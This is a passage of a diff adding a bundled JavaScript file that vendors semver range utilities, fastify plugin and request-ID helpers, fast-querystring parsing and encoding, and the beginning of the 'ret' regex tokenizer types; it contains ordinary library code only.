node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/valid.js +var require_valid2 = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/valid.js"(exports, module) { + "use strict"; + var Range = require_range(); + var validRange = (range, options) => { + try { + return new Range(range, options).range || "*"; + } catch (er) { + return null; + } + }; + module.exports = validRange; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/outside.js +var require_outside = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/outside.js"(exports, module) { + "use strict"; + var SemVer = require_semver(); + var Comparator = require_comparator(); + var { ANY } = Comparator; + var Range = require_range(); + var satisfies = require_satisfies(); + var gt2 = require_gt(); + var lt2 = require_lt(); + var lte2 = require_lte(); + var gte2 = require_gte(); + var outside = (version3, range, hilo, options) => { + version3 = new SemVer(version3, options); + range = new Range(range, options); + let gtfn, ltefn, ltfn, comp, ecomp; + switch (hilo) { + case ">": + gtfn = gt2; + ltefn = lte2; + ltfn = lt2; + comp = ">"; + ecomp = ">="; + break; + case "<": + gtfn = lt2; + ltefn = gte2; + ltfn = gt2; + comp = "<"; + ecomp = "<="; + break; + default: + throw new TypeError('Must provide a hilo val of "<" or ">"'); + } + if (satisfies(version3, range, options)) { + return false; + } + for (let i = 0; i < range.set.length; ++i) { + const comparators = range.set[i]; + let high = null; + let low = null; + comparators.forEach((comparator) => { + if (comparator.semver === ANY) { + comparator = new Comparator(">=0.0.0"); + } + high = high || comparator; + low = low || comparator; + if (gtfn(comparator.semver, high.semver, options)) { + high = comparator; + } else if (ltfn(comparator.semver, low.semver, options)) { + low = comparator; + } + }); + if (high.operator === comp || high.operator === ecomp) { + return false; + } + if ((!low.operator || low.operator === comp) && ltefn(version3, low.semver)) { + return false; + } else if (low.operator === ecomp && ltfn(version3, low.semver)) { + return false; + } + } + return true; + }; + module.exports = outside; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/gtr.js +var require_gtr = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/gtr.js"(exports, module) { + "use strict"; + var outside = require_outside(); + var gtr = (version3, range, options) => outside(version3, range, ">", options); + module.exports = gtr; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/ltr.js +var require_ltr = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/ltr.js"(exports, module) { + "use strict"; + var outside = require_outside(); + var ltr = (version3, range, options) => outside(version3, range, "<", options); + module.exports = ltr; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/intersects.js +var require_intersects = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/intersects.js"(exports, module) { + "use strict"; + var Range = require_range(); + var intersects = (r1, r2, options) => { + r1 = new Range(r1, options); + r2 = new Range(r2, options); + return r1.intersects(r2, options); + }; + module.exports = intersects; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/simplify.js +var require_simplify = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/simplify.js"(exports, module) { + "use strict"; + var satisfies = require_satisfies(); + var compare = require_compare(); + module.exports = (versions, range, options) => { + const set2 = []; + let first = null; + let prev = null; + const v = versions.sort((a, b2) => compare(a, b2, options)); + for (const version3 of v) { + const included = satisfies(version3, range, options); + if (included) { + prev = version3; + if (!first) { + first = version3; + } + } else { + if (prev) { + set2.push([first, prev]); + } + prev = null; + first = null; + } + } + if (first) { + set2.push([first, null]); + } + const ranges = []; + for (const [min, max] of set2) { + if (min === max) { + ranges.push(min); + } else if (!max && min === v[0]) { + ranges.push("*"); + } else if (!max) { + ranges.push(`>=${min}`); + } else if (min === v[0]) { + ranges.push(`<=${max}`); + } else { + ranges.push(`${min} - ${max}`); + } + } + const simplified = ranges.join(" || "); + const original = typeof range.raw === "string" ? range.raw : String(range); + return simplified.length < original.length ? simplified : range; + }; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/subset.js +var require_subset = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/ranges/subset.js"(exports, module) { + "use strict"; + var Range = require_range(); + var Comparator = require_comparator(); + var { ANY } = Comparator; + var satisfies = require_satisfies(); + var compare = require_compare(); + var subset = (sub, dom, options = {}) => { + if (sub === dom) { + return true; + } + sub = new Range(sub, options); + dom = new Range(dom, options); + let sawNonNull = false; + OUTER: for (const simpleSub of sub.set) { + for (const simpleDom of dom.set) { + const isSub = simpleSubset(simpleSub, simpleDom, options); + sawNonNull = sawNonNull || isSub !== null; + if (isSub) { + continue OUTER; + } + } + if (sawNonNull) { + return false; + } + } + return true; + }; + var minimumVersionWithPreRelease = [new Comparator(">=0.0.0-0")]; + var minimumVersion = [new Comparator(">=0.0.0")]; + var simpleSubset = (sub, dom, options) => { + if (sub === dom) { + return true; + } + if (sub.length === 1 && sub[0].semver === ANY) { + if (dom.length === 1 && dom[0].semver === ANY) { + return true; + } else if (options.includePrerelease) { + sub = minimumVersionWithPreRelease; + } else { + sub = minimumVersion; + } + } + if (dom.length === 1 && dom[0].semver === ANY) { + if (options.includePrerelease) { + return true; + } else { + dom = minimumVersion; + } + } + const eqSet = /* @__PURE__ */ new Set(); + let gt2, lt2; + for (const c of sub) { + if (c.operator === ">" || c.operator === ">=") { + gt2 = higherGT(gt2, c, options); + } else if (c.operator === "<" || c.operator === "<=") { + lt2 = lowerLT(lt2, c, options); + } else { + eqSet.add(c.semver); + } + } + if (eqSet.size > 1) { + return null; + } + let gtltComp; + if (gt2 && lt2) { + gtltComp = compare(gt2.semver, lt2.semver, options); + if (gtltComp > 0) { + return null; + } else if (gtltComp === 0 && (gt2.operator !== ">=" || lt2.operator !== "<=")) { + return null; + } + } + for (const eq2 of eqSet) { + if (gt2 && !satisfies(eq2, String(gt2), options)) { + return null; + } + if (lt2 && !satisfies(eq2, String(lt2), options)) { + return null; + } + for (const c of dom) { + if (!satisfies(eq2, String(c), options)) { + return false; + } + } + return true; + } + let higher, lower; + let hasDomLT, hasDomGT; + let needDomLTPre = lt2 && !options.includePrerelease && lt2.semver.prerelease.length ? lt2.semver : false; + let needDomGTPre = gt2 && !options.includePrerelease && gt2.semver.prerelease.length ? gt2.semver : false; + if (needDomLTPre && needDomLTPre.prerelease.length === 1 && lt2.operator === "<" && needDomLTPre.prerelease[0] === 0) { + needDomLTPre = false; + } + for (const c of dom) { + hasDomGT = hasDomGT || c.operator === ">" || c.operator === ">="; + hasDomLT = hasDomLT || c.operator === "<" || c.operator === "<="; + if (gt2) { + if (needDomGTPre) { + if (c.semver.prerelease && c.semver.prerelease.length && c.semver.major === needDomGTPre.major && c.semver.minor === needDomGTPre.minor && c.semver.patch === needDomGTPre.patch) { + needDomGTPre = false; + } + } + if (c.operator === ">" || c.operator === ">=") { + higher = higherGT(gt2, c, options); + if (higher === c && higher !== gt2) { + return false; + } + } else if (gt2.operator === ">=" && !c.test(gt2.semver)) { + return false; + } + } + if (lt2) { + if (needDomLTPre) { + if (c.semver.prerelease && c.semver.prerelease.length && c.semver.major === needDomLTPre.major && c.semver.minor === needDomLTPre.minor && c.semver.patch === needDomLTPre.patch) { + needDomLTPre = false; + } + } + if (c.operator === "<" || c.operator === "<=") { + lower = lowerLT(lt2, c, options); + if (lower === c && lower !== lt2) { + return false; + } + } else if (lt2.operator === "<=" && !c.test(lt2.semver)) { + return false; + } + } + if (!c.operator && (lt2 || gt2) && gtltComp !== 0) { + return false; + } + } + if (gt2 && hasDomLT && !lt2 && gtltComp !== 0) { + return false; + } + if (lt2 && hasDomGT && !gt2 && gtltComp !== 0) { + return false; + } + if (needDomGTPre || needDomLTPre) { + return false; + } + return true; + }; + var higherGT = (a, b2, options) => { + if (!a) { + return b2; + } + const comp = compare(a.semver, b2.semver, options); + return comp > 0 ? a : comp < 0 ? b2 : b2.operator === ">" && a.operator === ">=" ? b2 : a; + }; + var lowerLT = (a, b2, options) => { + if (!a) { + return b2; + } + const comp = compare(a.semver, b2.semver, options); + return comp < 0 ? a : comp > 0 ? b2 : b2.operator === "<" && a.operator === "<=" ? b2 : a; + }; + module.exports = subset; + } +}); + +// node_modules/.pnpm/semver@7.8.5/node_modules/semver/index.js +var require_semver2 = __commonJS({ + "node_modules/.pnpm/semver@7.8.5/node_modules/semver/index.js"(exports, module) { + "use strict"; + var internalRe = require_re(); + var constants = require_constants4(); + var SemVer = require_semver(); + var identifiers = require_identifiers(); + var parse4 = require_parse2(); + var valid = require_valid(); + var clean = require_clean(); + var inc = require_inc(); + var diff = require_diff(); + var major2 = require_major(); + var minor = require_minor(); + var patch = require_patch(); + var prerelease = require_prerelease(); + var compare = require_compare(); + var rcompare = require_rcompare(); + var compareLoose = require_compare_loose(); + var compareBuild = require_compare_build(); + var sort = require_sort(); + var rsort = require_rsort(); + var gt2 = require_gt(); + var lt2 = require_lt(); + var eq2 = require_eq(); + var neq = require_neq(); + var gte2 = require_gte(); + var lte2 = require_lte(); + var cmp = require_cmp(); + var coerce = require_coerce(); + var truncate = require_truncate(); + var Comparator = require_comparator(); + var Range = require_range(); + var satisfies = require_satisfies(); + var toComparators = require_to_comparators(); + var maxSatisfying = require_max_satisfying(); + var minSatisfying = require_min_satisfying(); + var minVersion = require_min_version(); + var validRange = require_valid2(); + var outside = require_outside(); + var gtr = require_gtr(); + var ltr = require_ltr(); + var intersects = require_intersects(); + var simplifyRange = require_simplify(); + var subset = require_subset(); + module.exports = { + parse: parse4, + valid, + clean, + inc, + diff, + major: major2, + minor, + patch, + prerelease, + compare, + rcompare, + compareLoose, + compareBuild, + sort, + rsort, + gt: gt2, + lt: lt2, + eq: eq2, + neq, + gte: gte2, + lte: lte2, + cmp, + coerce, + truncate, + Comparator, + Range, + satisfies, + toComparators, + maxSatisfying, + minSatisfying, + minVersion, + validRange, + outside, + gtr, + ltr, + intersects, + simplifyRange, + subset, + SemVer, + re: internalRe.re, + src: internalRe.src, + tokens: internalRe.t, + SEMVER_SPEC_VERSION: constants.SEMVER_SPEC_VERSION, + RELEASE_TYPES: constants.RELEASE_TYPES, + compareIdentifiers: identifiers.compareIdentifiers, + rcompareIdentifiers: identifiers.rcompareIdentifiers + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/plugin-utils.js +var require_plugin_utils = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/plugin-utils.js"(exports, module) { + "use strict"; + var semver = require_semver2(); + var assert2 = __require("node:assert"); + var kRegisteredPlugins = Symbol.for("registered-plugin"); + var { + kTestInternals + } = require_symbols3(); + var { exist, existReply, existRequest } = require_decorate(); + var { + FST_ERR_PLUGIN_VERSION_MISMATCH, + FST_ERR_PLUGIN_NOT_PRESENT_IN_INSTANCE, + FST_ERR_PLUGIN_INVALID_ASYNC_HANDLER, + FST_ERR_PLUGIN_DEPENDENCY_NOT_REGISTERED + } = require_errors2(); + var rcRegex = /-(?:rc|pre|alpha).+$/u; + function getMeta(fn) { + return fn[Symbol.for("plugin-meta")]; + } + function getPluginName(func) { + const display = getDisplayName(func); + if (display) { + return display; + } + const cache2 = __require.cache; + if (cache2) { + const keys = Object.keys(cache2); + for (let i = 0; i < keys.length; i++) { + const key = keys[i]; + if (cache2[key].exports === func) { + return key; + } + } + } + if (func.name) { + return func.name; + } + return null; + } + function getFuncPreview(func) { + return func.toString().split("\n", 2).map((s) => s.trim()).join(" -- "); + } + function getDisplayName(fn) { + return fn[Symbol.for("fastify.display-name")]; + } + function shouldSkipOverride(fn) { + return !!fn[Symbol.for("skip-override")]; + } + function checkDependencies(fn) { + const meta3 = getMeta(fn); + if (!meta3) return; + const dependencies = meta3.dependencies; + if (!dependencies) return; + assert2(Array.isArray(dependencies), "The dependencies should be an array of strings"); + dependencies.forEach((dependency) => { + if (!this[kRegisteredPlugins].includes(dependency)) { + throw new FST_ERR_PLUGIN_DEPENDENCY_NOT_REGISTERED(dependency, meta3.name); + } + }); + } + function checkDecorators(fn) { + const meta3 = getMeta(fn); + if (!meta3) return; + const { decorators, name } = meta3; + if (!decorators) return; + if (decorators.fastify) _checkDecorators(this, "Fastify", decorators.fastify, name); + if (decorators.reply) _checkDecorators(this, "Reply", decorators.reply, name); + if (decorators.request) _checkDecorators(this, "Request", decorators.request, name); + } + var checks = { + Fastify: exist, + Request: existRequest, + Reply: existReply + }; + function _checkDecorators(that, instance, decorators, name) { + assert2(Array.isArray(decorators), "The decorators should be an array of strings"); + decorators.forEach((decorator) => { + const withPluginName = typeof name === "string" ? ` required by '${name}'` : ""; + if (!checks[instance].call(that, decorator)) { + throw new FST_ERR_PLUGIN_NOT_PRESENT_IN_INSTANCE(decorator, withPluginName, instance); + } + }); + } + function checkVersion(fn) { + const meta3 = getMeta(fn); + if (meta3?.fastify == null) return; + const requiredVersion = meta3.fastify; + const fastifyRc = rcRegex.test(this.version); + if (fastifyRc === true && semver.gt(this.version, semver.coerce(requiredVersion)) === true) { + return; + } + if (requiredVersion && semver.satisfies(this.version, requiredVersion, { includePrerelease: fastifyRc }) === false) { + throw new FST_ERR_PLUGIN_VERSION_MISMATCH(meta3.name, requiredVersion, this.version); + } + } + function registerPluginName(fn) { + const meta3 = getMeta(fn); + if (!meta3) return; + const name = meta3.name; + if (!name) return; + this[kRegisteredPlugins].push(name); + return name; + } + function checkPluginHealthiness(fn, pluginName) { + if (fn.constructor.name === "AsyncFunction" && fn.length === 3) { + throw new FST_ERR_PLUGIN_INVALID_ASYNC_HANDLER(pluginName); + } + } + function registerPlugin(fn) { + const pluginName = registerPluginName.call(this, fn) || getPluginName(fn); + checkPluginHealthiness.call(this, fn, pluginName); + checkVersion.call(this, fn); + checkDecorators.call(this, fn); + checkDependencies.call(this, fn); + return shouldSkipOverride(fn); + } + module.exports = { + getPluginName, + getFuncPreview, + kRegisteredPlugins, + getDisplayName, + registerPlugin + }; + module.exports[kTestInternals] = { + shouldSkipOverride, + getMeta, + checkDecorators, + checkDependencies + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/req-id-gen-factory.js +var require_req_id_gen_factory = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/req-id-gen-factory.js"(exports, module) { + "use strict"; + var { kGenReqId } = require_symbols3(); + function reqIdGenFactory(requestIdHeader, optGenReqId) { + const genReqId = optGenReqId || buildDefaultGenReqId(); + if (requestIdHeader) { + return buildOptionalHeaderReqId(requestIdHeader, genReqId); + } + return genReqId; + } + function getGenReqId(contextServer, req) { + return contextServer[kGenReqId](req); + } + function buildDefaultGenReqId() { + const maxInt = 2147483647; + let nextReqId = 0; + return function defaultGenReqId() { + nextReqId = nextReqId + 1 & maxInt; + return `req-${nextReqId.toString(36)}`; + }; + } + function buildOptionalHeaderReqId(requestIdHeader, genReqId) { + return function(req) { + return req.headers[requestIdHeader] || genReqId(req); + }; + } + module.exports = { + getGenReqId, + reqIdGenFactory + }; + } +}); + +// node_modules/.pnpm/fast-decode-uri-component@1.0.1/node_modules/fast-decode-uri-component/index.js +var require_fast_decode_uri_component = __commonJS({ + "node_modules/.pnpm/fast-decode-uri-component@1.0.1/node_modules/fast-decode-uri-component/index.js"(exports, module) { + "use strict"; + var UTF8_ACCEPT = 12; + var UTF8_REJECT = 0; + var UTF8_DATA = [ + // The first part of the table maps bytes to character to a transition. + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 2, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 3, + 4, + 4, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 5, + 6, + 7, + 7, + 7, + 7, + 7, + 7, + 7, + 7, + 7, + 7, + 7, + 7, + 8, + 7, + 7, + 10, + 9, + 9, + 9, + 11, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + 4, + // The second part of the table maps a state to a new state when adding a + // transition. + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 12, + 0, + 0, + 0, + 0, + 24, + 36, + 48, + 60, + 72, + 84, + 96, + 0, + 12, + 12, + 12, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 24, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 24, + 24, + 24, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 24, + 24, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 48, + 48, + 48, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 48, + 48, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 48, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + // The third part maps the current transition to a mask that needs to apply + // to the byte. + 127, + 63, + 63, + 63, + 0, + 31, + 15, + 15, + 15, + 7, + 7, + 7 + ]; + function decodeURIComponent2(uri) { + var percentPosition = uri.indexOf("%"); + if (percentPosition === -1) return uri; + var length = uri.length; + var decoded = ""; + var last = 0; + var codepoint = 0; + var startOfOctets = percentPosition; + var state = UTF8_ACCEPT; + while (percentPosition > -1 && percentPosition < length) { + var high = hexCodeToInt(uri[percentPosition + 1], 4); + var low = hexCodeToInt(uri[percentPosition + 2], 0); + var byte = high | low; + var type = UTF8_DATA[byte]; + state = UTF8_DATA[256 + state + type]; + codepoint = codepoint << 6 | byte & UTF8_DATA[364 + type]; + if (state === UTF8_ACCEPT) { + decoded += uri.slice(last, startOfOctets); + decoded += codepoint <= 65535 ? String.fromCharCode(codepoint) : String.fromCharCode( + 55232 + (codepoint >> 10), + 56320 + (codepoint & 1023) + ); + codepoint = 0; + last = percentPosition + 3; + percentPosition = startOfOctets = uri.indexOf("%", last); + } else if (state === UTF8_REJECT) { + return null; + } else { + percentPosition += 3; + if (percentPosition < length && uri.charCodeAt(percentPosition) === 37) continue; + return null; + } + } + return decoded + uri.slice(last); + } + var HEX = { + "0": 0, + "1": 1, + "2": 2, + "3": 3, + "4": 4, + "5": 5, + "6": 6, + "7": 7, + "8": 8, + "9": 9, + "a": 10, + "A": 10, + "b": 11, + "B": 11, + "c": 12, + "C": 12, + "d": 13, + "D": 13, + "e": 14, + "E": 14, + "f": 15, + "F": 15 + }; + function hexCodeToInt(c, shift) { + var i = HEX[c]; + return i === void 0 ? 255 : i << shift; + } + module.exports = decodeURIComponent2; + } +}); + +// node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/parse.js +var require_parse3 = __commonJS({ + "node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/parse.js"(exports, module) { + "use strict"; + var fastDecode = require_fast_decode_uri_component(); + var plusRegex = /\+/g; + var Empty = function() { + }; + Empty.prototype = /* @__PURE__ */ Object.create(null); + function parse4(input) { + const result = new Empty(); + if (typeof input !== "string") { + return result; + } + let inputLength = input.length; + let key = ""; + let value = ""; + let startingIndex = -1; + let equalityIndex = -1; + let shouldDecodeKey = false; + let shouldDecodeValue = false; + let keyHasPlus = false; + let valueHasPlus = false; + let hasBothKeyValuePair = false; + let c = 0; + for (let i = 0; i < inputLength + 1; i++) { + c = i !== inputLength ? input.charCodeAt(i) : 38; + if (c === 38) { + hasBothKeyValuePair = equalityIndex > startingIndex; + if (!hasBothKeyValuePair) { + equalityIndex = i; + } + key = input.slice(startingIndex + 1, equalityIndex); + if (hasBothKeyValuePair || key.length > 0) { + if (keyHasPlus) { + key = key.replace(plusRegex, " "); + } + if (shouldDecodeKey) { + key = fastDecode(key) || key; + } + if (hasBothKeyValuePair) { + value = input.slice(equalityIndex + 1, i); + if (valueHasPlus) { + value = value.replace(plusRegex, " "); + } + if (shouldDecodeValue) { + value = fastDecode(value) || value; + } + } + const currentValue = result[key]; + if (currentValue === void 0) { + result[key] = value; + } else { + if (currentValue.pop) { + currentValue.push(value); + } else { + result[key] = [currentValue, value]; + } + } + } + value = ""; + startingIndex = i; + equalityIndex = i; + shouldDecodeKey = false; + shouldDecodeValue = false; + keyHasPlus = false; + valueHasPlus = false; + } else if (c === 61) { + if (equalityIndex <= startingIndex) { + equalityIndex = i; + } else { + shouldDecodeValue = true; + } + } else if (c === 43) { + if (equalityIndex > startingIndex) { + valueHasPlus = true; + } else { + keyHasPlus = true; + } + } else if (c === 37) { + if (equalityIndex > startingIndex) { + shouldDecodeValue = true; + } else { + shouldDecodeKey = true; + } + } + } + return result; + } + module.exports = parse4; + } +}); + +// node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/internals/querystring.js +var require_querystring = __commonJS({ + "node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/internals/querystring.js"(exports, module) { + var hexTable = Array.from( + { length: 256 }, + (_, i) => "%" + ((i < 16 ? "0" : "") + i.toString(16)).toUpperCase() + ); + var noEscape = new Int8Array([ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + // 0 - 15 + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + // 16 - 31 + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 1, + 1, + 0, + // 32 - 47 + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + // 48 - 63 + 0, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + // 64 - 79 + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 1, + // 80 - 95 + 0, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + // 96 - 111 + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 1, + 0 + // 112 - 127 + ]); + function encodeString(str) { + const len = str.length; + if (len === 0) return ""; + let out = ""; + let lastPos = 0; + let i = 0; + outer: for (; i < len; i++) { + let c = str.charCodeAt(i); + while (c < 128) { + if (noEscape[c] !== 1) { + if (lastPos < i) out += str.slice(lastPos, i); + lastPos = i + 1; + out += hexTable[c]; + } + if (++i === len) break outer; + c = str.charCodeAt(i); + } + if (lastPos < i) out += str.slice(lastPos, i); + if (c < 2048) { + lastPos = i + 1; + out += hexTable[192 | c >> 6] + hexTable[128 | c & 63]; + continue; + } + if (c < 55296 || c >= 57344) { + lastPos = i + 1; + out += hexTable[224 | c >> 12] + hexTable[128 | c >> 6 & 63] + hexTable[128 | c & 63]; + continue; + } + ++i; + if (i >= len) { + throw new Error("URI malformed"); + } + const c2 = str.charCodeAt(i) & 1023; + lastPos = i + 1; + c = 65536 + ((c & 1023) << 10 | c2); + out += hexTable[240 | c >> 18] + hexTable[128 | c >> 12 & 63] + hexTable[128 | c >> 6 & 63] + hexTable[128 | c & 63]; + } + if (lastPos === 0) return str; + if (lastPos < len) return out + str.slice(lastPos); + return out; + } + module.exports = { encodeString }; + } +}); + +// node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/stringify.js +var require_stringify = __commonJS({ + "node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/stringify.js"(exports, module) { + "use strict"; + var { encodeString } = require_querystring(); + function getAsPrimitive(value) { + const type = typeof value; + if (type === "string") { + return encodeString(value); + } else if (type === "bigint") { + return value.toString(); + } else if (type === "boolean") { + return value ? "true" : "false"; + } else if (type === "number" && Number.isFinite(value)) { + return value < 1e21 ? "" + value : encodeString("" + value); + } + return ""; + } + function stringify2(input) { + let result = ""; + if (input === null || typeof input !== "object") { + return result; + } + const separator = "&"; + const keys = Object.keys(input); + const keyLength = keys.length; + let valueLength = 0; + for (let i = 0; i < keyLength; i++) { + const key = keys[i]; + const value = input[key]; + const encodedKey = encodeString(key) + "="; + if (i) { + result += separator; + } + if (Array.isArray(value)) { + valueLength = value.length; + for (let j = 0; j < valueLength; j++) { + if (j) { + result += separator; + } + result += encodedKey; + result += getAsPrimitive(value[j]); + } + } else { + result += encodedKey; + result += getAsPrimitive(value); + } + } + return result; + } + module.exports = stringify2; + } +}); + +// node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/index.js +var require_lib = __commonJS({ + "node_modules/.pnpm/fast-querystring@1.1.2/node_modules/fast-querystring/lib/index.js"(exports, module) { + "use strict"; + var parse4 = require_parse3(); + var stringify2 = require_stringify(); + var fastQuerystring = { + parse: parse4, + stringify: stringify2 + }; + module.exports = fastQuerystring; + module.exports.default = fastQuerystring; + module.exports.parse = parse4; + module.exports.stringify = stringify2; + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/tokens.js +var require_tokens = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/tokens.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/types.js +var require_types3 = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/types.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.types = void 0; + var types2; + (function(types3) { + types3[types3["ROOT"] = 0] = "ROOT"; + types3[types3["GROUP"] = 1] = "GROUP"; + types3[types3["POSITION"] = 2] = "POSITION"; + types3[types3["SET"] = 3] = "SET"; + types3[types3["RANGE"] = 4] = "RANGE"; + types3[types3["REPETITION"] = 5] = "REPETITION"; + types3[types3["REFERENCE"] = 6] = "REFERENCE"; + types3[types3["CHAR"] = 7] = "CHAR"; + })(types2 = exports.types || (exports.types = {})); + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/set-lookup.js +var require_set_lookup = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/set-lookup.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/index.js +var require_types4 = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/types/index.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + Object.defineProperty(o, k2, { enumerable: true, get: function() { + return m[k]; + } }); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __exportStar = exports && exports.__exportStar || function(m, exports2) { + for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports2, p)) __createBinding(exports2, m, p); + }; + Object.defineProperty(exports, "__esModule", { value: true }); + __exportStar(require_tokens(), exports); + __exportStar(require_types3(), exports); + __exportStar(require_set_lookup(), exports); + } +}); + +// node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/sets.js +var require_sets = __commonJS({ + "node_modules/.pnpm/ret@0.5.0/node_modules/ret/dist/sets.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.anyChar = exports.notWhitespace = exports.whitespace = exports.notInts = exports.ints = exports.notWords = exports.words = void 0; + var types_1 = require_types4(); + var INTS = () => [{ type: types_1.types.RANGE, from: 48, to: 57 }]; + var WORDS = () => [ + { type: types_1.types.CHAR, value: 95 }, + { type: types_1.types.RANGE, from: 97, to: 122 }, + { type: types_1.types.RANGE, from: 65, to: 90 }, + { type: types_1.types.RANGE, from: 48, to: 57 } + ]; + var WHITESPACE = () => [ + { type: types_1.types.CHAR, value: 9 }, + { type: types_1.types.CHAR, value: 10 }, + { type: types_1.types.CHAR, value: 11 }, + { type: types_1.types.CHAR, value: 12 }, + { type: types_1.types.CHAR, value: 13 }, + { type: types_1.types.CHAR, value: 32 }, + { type: types_1.types.CHAR, value: 160 }, + { type: types_1.types.CHAR, value: 5760 }, + { type: types_1.types.RANGE, from: 8192, to: 8202 }, + { type: types_1.types.CHAR, value: 8232 }, + { type: 